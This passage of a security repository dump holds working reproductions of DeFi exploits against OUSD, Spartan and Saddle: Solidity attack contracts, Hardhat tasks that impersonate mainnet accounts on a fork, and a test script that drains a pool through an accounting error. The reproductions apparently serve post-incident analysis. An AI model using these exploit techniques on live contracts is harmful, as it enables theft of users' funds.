180 | "name": "checkBalance", 181 | "outputs": [ 182 | { 183 | "internalType": "uint256", 184 | "name": "", 185 | "type": "uint256" 186 | } 187 | ], 188 | "payable": false, 189 | "stateMutability": "view", 190 | "type": "function" 191 | }, 192 | { 193 | "constant": true, 194 | "inputs": [ 195 | { 196 | "internalType": "uint256", 197 | "name": "_amount", 198 | "type": "uint256" 199 | } 200 | ], 201 | "name": "calculateRedeemOutputs", 202 | "outputs": [ 203 | { 204 | "internalType": "uint256[]", 205 | "name": "", 206 | "type": "uint256[]" 207 | } 208 | ], 209 | "payable": false, 210 | "stateMutability": "view", 211 | "type": "function" 212 | }, 213 | { 214 | "constant": false, 215 | "inputs": [ 216 | { 217 | "internalType": "uint256", 218 | "name": "_minimumUnitAmount", 219 | "type": "uint256" 220 | } 221 | ], 222 | "name": "redeemAll", 223 | "outputs": [], 224 | "payable": false, 225 | "stateMutability": "nonpayable", 226 | "type": "function" 227 | }, 228 | { 229 | "constant": false, 230 | "inputs": [ 231 | { 232 | "internalType": "uint256", 233 | "name": "_amount", 234 | "type": "uint256" 235 | }, 236 | { 237 | "internalType": "uint256", 238 | "name": "_minimumUnitAmount", 239 | "type": "uint256" 240 | } 241 | ], 242 | "name": "redeem", 243 | "outputs": [], 244 | "payable": false, 245 | "stateMutability": "nonpayable", 246 | "type": "function" 247 | }, 248 | { 249 | "constant": true, 250 | "inputs": [], 251 | "name": "maxSupplyDiff", 252 | "outputs": [ 253 | { 254 | "internalType": "uint256", 255 | "name": "", 256 | "type": "uint256" 257 | } 258 | ], 259 | "payable": false, 260 | "stateMutability": "view", 261 | "type": "function" 262 | }, 263 | { 264 | "constant": true, 265 | "inputs": [ 266 | { 267 | "internalType": "address", 268 | "name": "_asset", 269 | "type": "address" 270 | } 271 | ], 272 | "name": "isSupportedAsset", 273 | "outputs": [ 274 | { 275 | "internalType": "bool", 276 | "name": "", 277 | "type": "bool" 278 | } 279 | ], 280 | "payable": false, 281 | "stateMutability": "view", 282 | "type": "function" 283 | }, 284 | { 285 | "constant": true, 286 | "inputs": [], 287 | "name": "autoAllocateThreshold", 288 | "outputs": [ 289 | { 290 | "internalType": "uint256", 291 | "name": "", 292 | "type": "uint256" 293 | } 294 | ], 295 | "payable": false, 296 | "stateMutability": "view", 297 | "type": "function" 298 | }, 299 | { 300 | "constant": true, 301 | "inputs": [], 302 | "name": "getAssetCount", 303 | "outputs": [ 304 | { 305 | "internalType": "uint256", 306 | "name": "", 307 | "type": "uint256" 308 | } 309 | ], 310 | "payable": false, 311 | "stateMutability": "view", 312 | "type": "function" 313 | }, 314 | { 315 | "constant": true, 316 | "inputs": [ 317 | { 318 | "internalType": "address", 319 | "name": "", 320 | "type": "address" 321 | } 322 | ], 323 | "name": "assetDefaultStrategies", 324 | "outputs": [ 325 | { 326 | "internalType": "address", 327 | "name": "", 328 | "type": "address" 329 | } 330 | ], 331 | "payable": false, 332 | "stateMutability": "view", 333 | "type": "function" 334 | }, 335 | { 336 | "constant": false, 337 | "inputs": [], 338 | "name": "allocate", 339 | "outputs": [], 340 | "payable": false, 341 | "stateMutability": "nonpayable", 342 | "type": "function" 343 | }, 344 | { 345 | "constant": false, 346 | "inputs": [], 347 | "name": "rebase", 348 | "outputs": [ 349 | { 350 | "internalType": "uint256", 351 | "name": "newTotalSupply", 352 | "type": "uint256" 353 | } 354 | ], 355 | "payable": false, 356 | "stateMutability": "nonpayable", 357 | "type": "function" 358 | }, 359 | { 360 | "constant": true, 361 | "inputs": [], 362 | "name": "priceProvider", 363 | "outputs": [ 364 | { 365 | "internalType": "address", 366 | "name": "", 367 | "type": "address" 368 | } 369 | ], 370 | "payable": false, 371 | "stateMutability": "view", 372 | "type": "function" 373 | }, 374 | { 375 | "constant": true, 376 | "inputs": [], 377 | "name": "isGovernor", 378 | "outputs": [ 379 | { 380 | "internalType": "bool", 381 | "name": "", 382 | "type": "bool" 383 | } 384 | ], 385 | "payable": false, 386 | "stateMutability": "view", 387 | "type": "function" 388 | }, 389 | { 390 | "constant": false, 391 | "inputs": [ 392 | { 393 | "internalType": "address", 394 | "name": "_newGovernor", 395 | "type": "address" 396 | } 397 | ], 398 | "name": "transferGovernance", 399 | "outputs": [], 400 | "payable": false, 401 | "stateMutability": "nonpayable", 402 | "type": "function" 403 | }, 404 | { 405 | "constant": true, 406 | "inputs": [], 407 | "name": "totalValue", 408 | "outputs": [ 409 | { 410 | "internalType": "uint256", 411 | "name": "value", 412 | "type": "uint256" 413 | } 414 | ], 415 | "payable": false, 416 | "stateMutability": "view", 417 | "type": "function" 418 | }, 419 | { 420 | "constant": true, 421 | "inputs": [], 422 | "name": "capitalPaused", 423 | "outputs": [ 424 | { 425 | "internalType": "bool", 426 | "name": "", 427 | "type": "bool" 428 | } 429 | ], 430 | "payable": false, 431 | "stateMutability": "view", 432 | "type": "function" 433 | }, 434 | { 435 | "constant": false, 436 | "inputs": [ 437 | { 438 | "internalType": "address[]", 439 | "name": "_assets", 440 | "type": "address[]" 441 | }, 442 | { 443 | "internalType": "uint256[]", 444 | "name": "_amounts", 445 | "type": "uint256[]" 446 | }, 447 | { 448 | "internalType": "uint256", 449 | "name": "_minimumOusdAmount", 450 | "type": "uint256" 451 | } 452 | ], 453 | "name": "mintMultiple", 454 | "outputs": [], 455 | "payable": false, 456 | "stateMutability": "nonpayable", 457 | "type": "function" 458 | }, 459 | { 460 | "constant": false, 461 | "inputs": [ 462 | { 463 | "internalType": "address", 464 | "name": "newImpl", 465 | "type": "address" 466 | } 467 | ], 468 | "name": "setAdminImpl", 469 | "outputs": [], 470 | "payable": false, 471 | "stateMutability": "nonpayable", 472 | "type": "function" 473 | }, 474 | { 475 | "payable": true, 476 | "stateMutability": "payable", 477 | "type": "fallback" 478 | }, 479 | { 480 | "anonymous": false, 481 | "inputs": [ 482 | { 483 | "indexed": false, 484 | "internalType": "address", 485 | "name": "_asset", 486 | "type": "address" 487 | } 488 | ], 489 | "name": "AssetSupported", 490 | "type": "event" 491 | }, 492 | { 493 | "anonymous": false, 494 | "inputs": [ 495 | { 496 | "indexed": false, 497 | "internalType": "address", 498 | "name": "_asset", 499 | "type": "address" 500 | }, 501 | { 502 | "indexed": false, 503 | "internalType": "address", 504 | "name": "_strategy", 505 | "type": "address" 506 | } 507 | ], 508 | "name": "AssetDefaultStrategyUpdated", 509 | "type": "event" 510 | }, 511 | { 512 | "anonymous": false, 513 | "inputs": [ 514 | { 515 | "indexed": false, 516 | "internalType": "address", 517 | "name": "_addr", 518 | "type": "address" 519 | } 520 | ], 521 | "name": "StrategyApproved", 522 | "type": "event" 523 | }, 524 | { 525 | "anonymous": false, 526 | "inputs": [ 527 | { 528 | "indexed": false, 529 | "internalType": "address", 530 | "name": "_addr", 531 | "type": "address" 532 | } 533 | ], 534 | "name": "StrategyRemoved", 535 | "type": "event" 536 | }, 537 | { 538 | "anonymous": false, 539 | "inputs": [ 540 | { 541 | "indexed": false, 542 | "internalType": "address", 543 | "name": "_addr", 544 | "type": "address" 545 | }, 546 | { 547 | "indexed": false, 548 | "internalType": "uint256", 549 | "name": "_value", 550 | "type": "uint256" 551 | } 552 | ], 553 | "name": "Mint", 554 | "type": "event" 555 | }, 556 | { 557 | "anonymous": false, 558 | "inputs": [ 559 | { 560 | "indexed": false, 561 | "internalType": "address", 562 | "name": "_addr", 563 | "type": "address" 564 | }, 565 | { 566 | "indexed": false, 567 | "internalType": "uint256", 568 | "name": "_value", 569 | "type": "uint256" 570 | } 571 | ], 572 | "name": "Redeem", 573 | "type": "event" 574 | }, 575 | { 576 | "anonymous": false, 577 | "inputs": [], 578 | "name": "CapitalPaused", 579 | "type": "event" 580 | }, 581 | { 582 | "anonymous": false, 583 | "inputs": [], 584 | "name": "CapitalUnpaused", 585 | "type": "event" 586 | }, 587 | { 588 | "anonymous": false, 589 | "inputs": [], 590 | "name": "RebasePaused", 591 | "type": "event" 592 | }, 593 | { 594 | "anonymous": false, 595 | "inputs": [], 596 | "name": "RebaseUnpaused", 597 | "type": "event" 598 | }, 599 | { 600 | "anonymous": false, 601 | "inputs": [ 602 | { 603 | "indexed": false, 604 | "internalType": "uint256", 605 | "name": "_vaultBuffer", 606 | "type": "uint256" 607 | } 608 | ], 609 | "name": "VaultBufferUpdated", 610 | "type": "event" 611 | }, 612 | { 613 | "anonymous": false, 614 | "inputs": [ 615 | { 616 | "indexed": false, 617 | "internalType": "uint256", 618 | "name": "_redeemFeeBps", 619 | "type": "uint256" 620 | } 621 | ], 622 | "name": "RedeemFeeUpdated", 623 | "type": "event" 624 | }, 625 | { 626 | "anonymous": false, 627 | "inputs": [ 628 | { 629 | "indexed": false, 630 | "internalType": "address", 631 | "name": "_priceProvider", 632 | "type": "address" 633 | } 634 | ], 635 | "name": "PriceProviderUpdated", 636 | "type": "event" 637 | }, 638 | { 639 | "anonymous": false, 640 | "inputs": [ 641 | { 642 | "indexed": false, 643 | "internalType": "uint256", 644 | "name": "_threshold", 645 | "type": "uint256" 646 | } 647 | ], 648 | "name": "AllocateThresholdUpdated", 649 | "type": "event" 650 | }, 651 | { 652 | "anonymous": false, 653 | "inputs": [ 654 | { 655 | "indexed": false, 656 | "internalType": "uint256", 657 | "name": "_threshold", 658 | "type": "uint256" 659 | } 660 | ], 661 | "name": "RebaseThresholdUpdated", 662 | "type": "event" 663 | }, 664 | { 665 | "anonymous": false, 666 | "inputs": [ 667 | { 668 | "indexed": false, 669 | "internalType": "address", 670 | "name": "_address", 671 | "type": "address" 672 | } 673 | ], 674 | "name": "UniswapUpdated", 675 | "type": "event" 676 | }, 677 | { 678 | "anonymous": false, 679 | "inputs": [ 680 | { 681 | "indexed": false, 682 | "internalType": "address", 683 | "name": "_address", 684 | "type": "address" 685 | } 686 | ], 687 | "name": "StrategistUpdated", 688 | "type": "event" 689 | }, 690 | { 691 | "anonymous": false, 692 | "inputs": [ 693 | { 694 | "indexed": false, 695 | "internalType": "uint256", 696 | "name": "maxSupplyDiff", 697 | "type": "uint256" 698 | } 699 | ], 700 | "name": "MaxSupplyDiffChanged", 701 | "type": "event" 702 | }, 703 | { 704 | "anonymous": false, 705 | "inputs": [ 706 | { 707 | "indexed": true, 708 | "internalType": "address", 709 | "name": "previousGovernor", 710 | "type": "address" 711 | }, 712 | { 713 | "indexed": true, 714 | "internalType": "address", 715 | "name": "newGovernor", 716 | "type": "address" 717 | } 718 | ], 719 | "name": "PendingGovernorshipTransfer", 720 | "type": "event" 721 | }, 722 | { 723 | "anonymous": false, 724 | "inputs": [ 725 | { 726 | "indexed": true, 727 | "internalType": "address", 728 | "name": "previousGovernor", 729 | "type": "address" 730 | }, 731 | { 732 | "indexed": true, 733 | "internalType": "address", 734 | "name": "newGovernor", 735 | "type": "address" 736 | } 737 | ], 738 | "name": "GovernorshipTransferred", 739 | "type": "event" 740 | } 741 | ] 742 | -------------------------------------------------------------------------------- /reproductions/2021-01-ousd/contracts/Exploit.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.11; 2 | 3 | import "hardhat/console.sol"; 4 | 5 | interface ExploitFactoryLike { 6 | function shouldAttack() external returns (bool); 7 | } 8 | 9 | interface VaultLike { 10 | function capitalPaused() external returns (bool); 11 | function rebasePaused() external returns (bool); 12 | function mint(address _asset, uint256 _amount, uint256 _minimum) external; 13 | function redeem(uint256 _amount, uint256 _minimumAmount) external; 14 | } 15 | 16 | interface ERC20Like { 17 | function totalSupply() external returns (uint256); 18 | function approve(address _spender, uint256 _amount) external; 19 | function balanceOf(address _account) external returns (uint256); 20 | function transfer(address _to, uint256 _amount) external; 21 | } 22 | 23 | interface OUSDLike { 24 | function balanceOf(address _account) external returns (uint256); 25 | function nonRebasingSupply() external returns (uint256); 26 | function totalSupply() external returns (uint256); 27 | function rebasingCreditsPerToken() external returns (uint256); 28 | function creditsBalanceOf(address _account) external returns (uint256, uint256); 29 | function transfer(address _to, uint256 _amount) external; 30 | } 31 | 32 | contract ExploitFactory { 33 | bool public shouldAttack = false; 34 | 35 | function deploy(uint256 salt, bytes memory bytecode) 36 | public 37 | returns (address addr) 38 | { 39 | // solhint-disable-next-line no-inline-assembly 40 | assembly { 41 | addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) 42 | } 43 | require(addr != address(0), "Create2: Failed on deploy"); 44 | } 45 | 46 | function computeAddress(uint256 salt, bytes memory bytecode) 47 | public 48 | view 49 | returns (address) 50 | { 51 | bytes32 bytecodeHashHash = keccak256(bytecode); 52 | bytes32 _data = keccak256( 53 | abi.encodePacked(bytes1(0xff), address(this), salt, bytecodeHashHash) 54 | ); 55 | return address(bytes20(_data << 96)); 56 | } 57 | 58 | function setShouldAttack(bool _shouldAttack) public { 59 | shouldAttack = _shouldAttack; 60 | } 61 | } 62 | 63 | contract Exploit { 64 | address vault = 0xE75D77B1865Ae93c7eaa3040B038D7aA7BC02F70; 65 | address dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; 66 | address ousd = 0x2A8e1E676Ec238d8A992307B495b45B3fEAa5e86; 67 | address attacker = 0x0000000000000000000000000000000000000001; 68 | address factory; 69 | 70 | constructor(address _factory) public { 71 | console.log("Exploit address", address(this)); 72 | factory = _factory; 73 | if (ExploitFactoryLike(_factory).shouldAttack()) { 74 | attack(); 75 | } 76 | } 77 | 78 | function mint() public { 79 | uint256 daiBalance = ERC20Like(dai).balanceOf(address(this)); 80 | ERC20Like(dai).approve(vault, daiBalance); 81 | VaultLike(vault).mint(dai, daiBalance, 0); 82 | } 83 | 84 | function attack() internal { 85 | uint256 nonRebasingSupplyBefore = OUSDLike(ousd).nonRebasingSupply(); 86 | console.log( 87 | 'Rebasing credits per token', 88 | OUSDLike(ousd).rebasingCreditsPerToken() 89 | ); 90 | (uint256 credits, uint256 creditsPerToken) = 91 | OUSDLike(ousd).creditsBalanceOf(address(this)); 92 | console.log('Credits', credits); 93 | console.log('Non rebasing credits per token', creditsPerToken); 94 | console.log('OUSD balance', OUSDLike(ousd).balanceOf(address(this))); 95 | OUSDLike(ousd).transfer(factory, uint256(100_000) * 1e18); 96 | uint256 nonRebasingSupplyAfter = OUSDLike(ousd).nonRebasingSupply(); 97 | console.log(nonRebasingSupplyBefore); 98 | console.log(nonRebasingSupplyAfter); 99 | // There shouldn't be a difference here 100 | console.log( 101 | 'Non rebasing supply difference', 102 | nonRebasingSupplyAfter - nonRebasingSupplyBefore 103 | ); 104 | } 105 | 106 | function bye() public { 107 | selfdestruct(msg.sender); 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /reproductions/2021-01-ousd/hardhat.config.js: -------------------------------------------------------------------------------- 1 | require("@nomiclabs/hardhat-ethers"); 2 | require("hardhat-deploy"); 3 | require("hardhat-deploy-ethers"); const { utils } = require("ethers"); 4 | 5 | const vaultCoreABI = require("./abi/VaultCore.json"); 6 | const erc20ABI = require("./abi/ERC20.json"); 7 | const ousdABI = require("./abi/OUSD.json"); 8 | 9 | const binanceAddress = "0x3f5CE5FBFe3E9af3971dD833D26bA9b5C936f0bE"; 10 | const daiAddress = "0x6b175474e89094c44da98b954eedeac495271d0f"; 11 | const usdcAddress = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; 12 | const usdtAddress = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; 13 | const ousdAddress = ""; 14 | 15 | if (!process.env.PROVIDER_URL) { 16 | console.log("Set PROVIDER_URL in env"); 17 | process.exit(); 18 | } 19 | 20 | // Become a different account 21 | const become = async (hre, address) => { 22 | await hre.network.provider.request({ 23 | method: "hardhat_impersonateAccount", 24 | params: [address], 25 | }); 26 | }; 27 | 28 | task("exploit", async (taskArguments, hre) => { 29 | await run("compile"); 30 | 31 | const {deploy} = hre.deployments; 32 | const {deployer} = await hre.getNamedAccounts(); 33 | 34 | const vaultAddress = "0xe75d77b1865ae93c7eaa3040b038d7aa7bc02f70"; 35 | const vault = await ethers.getContractAt(vaultCoreABI, vaultAddress); 36 | const ousdAddress = "0x2A8e1E676Ec238d8A992307B495b45B3fEAa5e86"; 37 | const ousd = await ethers.getContractAt(ousdABI, ousdAddress); 38 | 39 | await deploy("ExploitFactory", { from: deployer }); 40 | const cExploitFactory = await ethers.getContract("ExploitFactory"); 41 | 42 | const encodedFactoryAddress = utils.defaultAbiCoder 43 | .encode(["address"], [cExploitFactory.address]) 44 | .slice(2); 45 | const initCode = (await ethers.getContractFactory("Exploit")).bytecode; 46 | const deployCode = `${initCode}${encodedFactoryAddress}`; 47 | 48 | // Deploy the exploit 49 | await cExploitFactory.deploy(12345, deployCode); 50 | let exploitAddress = await cExploitFactory.computeAddress(12345, deployCode); 51 | 52 | // Source funds 53 | await become(hre, binanceAddress); 54 | const signer = await hre.ethers.getSigner(binanceAddress); 55 | const dai = await hre.ethers.getContractAt(erc20ABI, daiAddress); 56 | console.log( 57 | "Transferring DAI", 58 | Number(await dai.balanceOf(binanceAddress)) / 1e18 59 | ); 60 | await dai 61 | .connect(signer) 62 | .transfer(exploitAddress, await dai.balanceOf(binanceAddress)); 63 | 64 | const cExploit = await ethers.getContractAt("Exploit", exploitAddress); 65 | // Mint a bunch of OUSD 66 | await cExploit.mint(); 67 | 68 | /* 69 | * The address of the exploit contract now has a fixed rebasingCreditsPerToken 70 | * because it is a contract and has opted out of rebasing by default. When a 71 | * rebase is called the rebase will exclude its credits from the calculation of 72 | * the new rebasingCreditsPerToken value. We can redeploy it to the same address 73 | * using CREATE2 and because its in construction the Address.isContract library 74 | * will deem it not to be a contract. 75 | */ 76 | 77 | // Selfdestruct 78 | await cExploit.bye(); 79 | 80 | // Mint from another address to update rebasingCreditsPerToken incorrectly 81 | const usdt = await hre.ethers.getContractAt(erc20ABI, usdtAddress); 82 | await usdt.connect(signer).approve(vaultAddress, await usdt.balanceOf(binanceAddress)); 83 | await vault.connect(signer).mint(usdtAddress, await usdt.balanceOf(binanceAddress), 0); 84 | 85 | // Redeploy contract to the same address, its constructor will call the attack 86 | // and it will transfer more than its balance reports 87 | await cExploitFactory.setShouldAttack(true); 88 | await cExploitFactory.deploy("12345", deployCode); 89 | }); 90 | 91 | module.exports = { 92 | solidity: "0.5.11", 93 | networks: { 94 | hardhat: { 95 | forking: { 96 | url: process.env.PROVIDER_URL, 97 | blockNumber: 11599000 98 | }, 99 | }, 100 | }, 101 | namedAccounts: { 102 | deployer: { 103 | default: 0, 104 | }, 105 | }, 106 | 107 | }; 108 | -------------------------------------------------------------------------------- /reproductions/2021-01-ousd/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "2021-01-ousd", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "exploit": "npx hardhat exploit" 8 | }, 9 | "author": "", 10 | "license": "MIT", 11 | "dependencies": { 12 | "@nomiclabs/hardhat-ethers": "^2.0.1", 13 | "ethers": "^5.0.24", 14 | "hardhat": "^2.0.6", 15 | "hardhat-deploy": "^0.7.0-beta.39", 16 | "hardhat-deploy-ethers": "^0.3.0-beta.7" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /reproductions/2021-02-27-furucombo/Delegate Call Diagram.afdesign: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/reproductions/2021-02-27-furucombo/Delegate Call Diagram.afdesign -------------------------------------------------------------------------------- /reproductions/2021-02-27-furucombo/delegatecall.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/reproductions/2021-02-27-furucombo/delegatecall.png -------------------------------------------------------------------------------- /reproductions/2021-02-27-furucombo/takeover.afdesign: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/reproductions/2021-02-27-furucombo/takeover.afdesign -------------------------------------------------------------------------------- /reproductions/2021-02-27-furucombo/takeover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OriginProtocol/security/4263ea0106628fa514e965bc71aa26c8bdec5a99/reproductions/2021-02-27-furucombo/takeover.png -------------------------------------------------------------------------------- /reproductions/2021-05-02-spartan/.gitattributes: -------------------------------------------------------------------------------- 1 | *.sol linguist-language=Solidity 2 | *.vy linguist-language=Python 3 | -------------------------------------------------------------------------------- /reproductions/2021-05-02-spartan/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | .history 3 | .hypothesis/ 4 | build/ 5 | reports/ 6 | -------------------------------------------------------------------------------- /reproductions/2021-05-02-spartan/README.md: -------------------------------------------------------------------------------- 1 | To run the reproduction: 2 | 3 | `brownie run test` -------------------------------------------------------------------------------- /reproductions/2021-05-02-spartan/contracts/coins.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | import "OpenZeppelin/openzeppelin-contracts@4.0.0-rc.0/contracts/token/ERC20/ERC20.sol"; 3 | 4 | contract Sparta is ERC20 { 5 | address public DAO; 6 | constructor() ERC20("SPARTA","SPARTA") { 7 | } 8 | function mint(uint256 amount) external{ 9 | _mint(msg.sender, amount); 10 | } 11 | function setDao(address addr) external{ 12 | DAO = addr; 13 | } 14 | } 15 | 16 | contract Wbnb is ERC20 { 17 | constructor() ERC20("WBNB","WBNB") { 18 | } 19 | function mint(uint256 amount) external{ 20 | _mint(msg.sender, amount); 21 | } 22 | } 23 | 24 | -------------------------------------------------------------------------------- /reproductions/2021-05-02-spartan/tests/test_hack.py: -------------------------------------------------------------------------------- 1 | from brownie import * 2 | 3 | def test_attack(): 4 | MILL = int(1e6) * int(1e18) 5 | TEN_MILL = 10 * MILL 6 | FIVE_MILL = 5 * MILL 7 | 8 | #Accounts 9 | world = accounts[0] 10 | attacker = accounts[0] 11 | 12 | # Deploy 13 | wbnb = world.deploy(Wbnb) 14 | sparta = world.deploy(Sparta) 15 | pool = world.deploy(Pool, sparta, wbnb) 16 | utils = world.deploy(Utils) 17 | dao = world.deploy(MockDao, utils) 18 | sparta.setDao(dao) 19 | 20 | # World adds liqidity 21 | sparta.mint(TEN_MILL) 22 | sparta.transfer(pool, TEN_MILL) 23 | wbnb.mint(TEN_MILL) 24 | wbnb.transfer(pool, TEN_MILL) 25 | pool.addLiquidity() 26 | assert TEN_MILL == int(pool.balanceOf(world)) 27 | assert TEN_MILL == pool.baseAmount() # Cached value 28 | 29 | # Attacker adds liqidity 30 | ATTACKER = {'from': attacker} 31 | sparta.mint(TEN_MILL, ATTACKER) 32 | sparta.transfer(pool, TEN_MILL, ATTACKER) 33 | wbnb.mint(TEN_MILL, ATTACKER) 34 | wbnb.transfer(pool, TEN_MILL, ATTACKER) 35 | pool.addLiquidity(ATTACKER) 36 | assert 2*TEN_MILL == pool.baseAmount() # Cached value 37 | assert 2*TEN_MILL == sparta.balanceOf(pool) # Actual value 38 | 39 | # Attacker puts in money to throw things off 40 | sparta.mint(TEN_MILL, ATTACKER) 41 | sparta.transfer(pool, TEN_MILL, ATTACKER) 42 | assert 2 * TEN_MILL == pool.baseAmount() # Cached value 43 | assert 3 * TEN_MILL == sparta.balanceOf(pool) # Actual value 44 | 45 | # Attacker removes liqidity, should get extra 46 | pool.transfer(pool, TEN_MILL) 47 | pool.removeLiquidityForMember(attacker, ATTACKER) 48 | 49 | print("pool.balanceOf(attacker)", pool.balanceOf(attacker)) 50 | print("wbnb.balanceOf(attacker)", wbnb.balanceOf(attacker)) 51 | print("Attacker gets 15 million sparta back") 52 | print("sparta.balanceOf(attacker)", sparta.balanceOf(attacker)) 53 | 54 | # Attacker gets extra because of the accounting error 55 | assert (TEN_MILL + FIVE_MILL), sparta.balanceOf(attacker) 56 | 57 | -------------------------------------------------------------------------------- /reproductions/2021-1-saddle/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | cache 3 | -------------------------------------------------------------------------------- /reproductions/2021-1-saddle/README.md: -------------------------------------------------------------------------------- 1 | # Reproduction of Saddle Finance exploit 2 | 3 | The exploit is implemented as a Hardhat task in `hardhat.config.js`. 4 | 5 | To run use: 6 | 7 | `PROVIDER_URL=https://eth-mainnet.alchemyapi.io/v2/ yarn run exploit` 8 | -------------------------------------------------------------------------------- /reproductions/2021-1-saddle/abi/ERC20.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "constant": true, 4 | "inputs": [], 5 | "name": "name", 6 | "outputs": [ 7 | { 8 | "name": "", 9 | "type": "string" 10 | } 11 | ], 12 | "payable": false, 13 | "stateMutability": "view", 14 | "type": "function" 15 | }, 16 | { 17 | "constant": false, 18 | "inputs": [ 19 | { 20 | "name": "_spender", 21 | "type": "address" 22 | }, 23 | { 24 | "name": "_value", 25 | "type": "uint256" 26 | } 27 | ], 28 | "name": "approve", 29 | "outputs": [ 30 | { 31 | "name": "", 32 | "type": "bool" 33 | } 34 | ], 35 | "payable": false, 36 | "stateMutability": "nonpayable", 37 | "type": "function" 38 | }, 39 | { 40 | "constant": true, 41 | "inputs": [], 42 | "name": "totalSupply", 43 | "outputs": [ 44 | { 45 | "name": "", 46 | "type": "uint256" 47 | } 48 | ], 49 | "payable": false, 50 | "stateMutability": "view", 51 | "type": "function" 52 | }, 53 | { 54 | "constant": false, 55 | "inputs": [ 56 | { 57 | "name": "_from", 58 | "type": "address" 59 | }, 60 | { 61 | "name": "_to", 62 | "type": "address" 63 | }, 64 | { 65 | "name": "_value", 66 | "type": "uint256" 67 | } 68 | ], 69 | "name": "transferFrom", 70 | "outputs": [ 71 | { 72 | "name": "", 73 | "type": "bool" 74 | } 75 | ], 76 | "payable": false, 77 | "stateMutability": "nonpayable", 78 | "type": "function" 79 | }, 80 | { 81 | "constant": true, 82 | "inputs": [], 83 | "name": "decimals", 84 | "outputs": [ 85 | { 86 | "name": "", 87 | "type": "uint8" 88 | } 89 | ], 90 | "payable": false, 91 | "stateMutability": "view", 92 | "type": "function" 93 | }, 94 | { 95 | "constant": true, 96 | "inputs": [ 97 | { 98 | "name": "_owner", 99 | "type": "address" 100 | } 101 | ], 102 | "name": "balanceOf", 103 | "outputs": [ 104 | { 105 | "name": "balance", 106 | "type": "uint256" 107 | } 108 | ], 109 | "payable": false, 110 | "stateMutability": "view", 111 | "type": "function" 112 | }, 113 | { 114 | "constant": true, 115 | "inputs": [], 116 | "name": "symbol", 117 | "outputs": [ 118 | { 119 | "name": "", 120 | "type": "string" 121 | } 122 | ], 123 | "payable": false, 124 | "stateMutability": "view", 125 | "type": "function" 126 | }, 127 | { 128 | "constant": false, 129 | "inputs": [ 130 | { 131 | "name": "_to", 132 | "type": "address" 133 | }, 134 | { 135 | "name": "_value", 136 | "type": "uint256" 137 | } 138 | ], 139 | "name": "transfer", 140 | "outputs": [ 141 | { 142 | "name": "", 143 | "type": "bool" 144 | } 145 | ], 146 | "payable": false, 147 | "stateMutability": "nonpayable", 148 | "type": "function" 149 | }, 150 | { 151 | "constant": true, 152 | "inputs": [ 153 | { 154 | "name": "_owner", 155 | "type": "address" 156 | }, 157 | { 158 | "name": "_spender", 159 | "type": "address" 160 | } 161 | ], 162 | "name": "allowance", 163 | "outputs": [ 164 | { 165 | "name": "", 166 | "type": "uint256" 167 | } 168 | ], 169 | "payable": false, 170 | "stateMutability": "view", 171 | "type": "function" 172 | }, 173 | { 174 | "payable": true, 175 | "stateMutability": "payable", 176 | "type": "fallback" 177 | }, 178 | { 179 | "anonymous": false, 180 | "inputs": [ 181 | { 182 | "indexed": true, 183 | "name": "owner", 184 | "type": "address" 185 | }, 186 | { 187 | "indexed": true, 188 | "name": "spender", 189 | "type": "address" 190 | }, 191 | { 192 | "indexed": false, 193 | "name": "value", 194 | "type": "uint256" 195 | } 196 | ], 197 | "name": "Approval", 198 | "type": "event" 199 | }, 200 | { 201 | "anonymous": false, 202 | "inputs": [ 203 | { 204 | "indexed": true, 205 | "name": "from", 206 | "type": "address" 207 | }, 208 | { 209 | "indexed": true, 210 | "name": "to", 211 | "type": "address" 212 | }, 213 | { 214 | "indexed": false, 215 | "name": "value", 216 | "type": "uint256" 217 | } 218 | ], 219 | "name": "Transfer", 220 | "type": "event" 221 | } 222 | ] 223 | -------------------------------------------------------------------------------- /reproductions/2021-1-saddle/hardhat.config.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @type import('hardhat/config').HardhatUserConfig 3 | */ 4 | require("@nomiclabs/hardhat-ethers"); 5 | const { utils, BigNumber } = require("ethers"); 6 | 7 | const swapAbi = require("./abi/swap.json"); 8 | const ERC20Abi = require("./abi/ERC20.json"); 9 | 10 | if (!process.env.PROVIDER_URL) { 11 | console.log("Set PROVIDER_URL in env"); 12 | process.exit(); 13 | } 14 | 15 | task("exploit", async (taskArguments, hre) => { 16 | const attacker = "0x09641015fb8b08388a7367b946e634d37dddffaa" 17 | const swapAddress = "0x4f6a43ad7cba042606decaca730d4ce0a57ac62e" 18 | 19 | const sBtc = await ethers.getContractAt( 20 | ERC20Abi, 21 | "0xfe18be6b3bd88a2d2a7f928d00292e7a9963cfc6" 22 | ); 23 | const WBtc = await ethers.getContractAt( 24 | ERC20Abi, 25 | "0x2260fac5e5542a773aa44fbcfedf7c193bc2c599" 26 | ); 27 | const renBtc = await ethers.getContractAt( 28 | ERC20Abi, 29 | "0xeb4c2781e4eba804ce9a9803c67d0893436bb27d" 30 | ); 31 | 32 | const swap = await ethers.getContractAt(swapAbi, swapAddress); 33 | 34 | await hre.network.provider.request({ 35 | method: "hardhat_impersonateAccount", 36 | params: [attacker], 37 | }); 38 | const attackerSigner = await ethers.provider.getSigner(attacker); 39 | 40 | const getContractBalances = async () => { 41 | console.log("sBtc balance: ", utils.formatUnits(await sBtc.balanceOf(swap.address), 18)) 42 | console.log("WBtc balance: ", utils.formatUnits(await WBtc.balanceOf(swap.address), 8)) 43 | console.log("renBtc 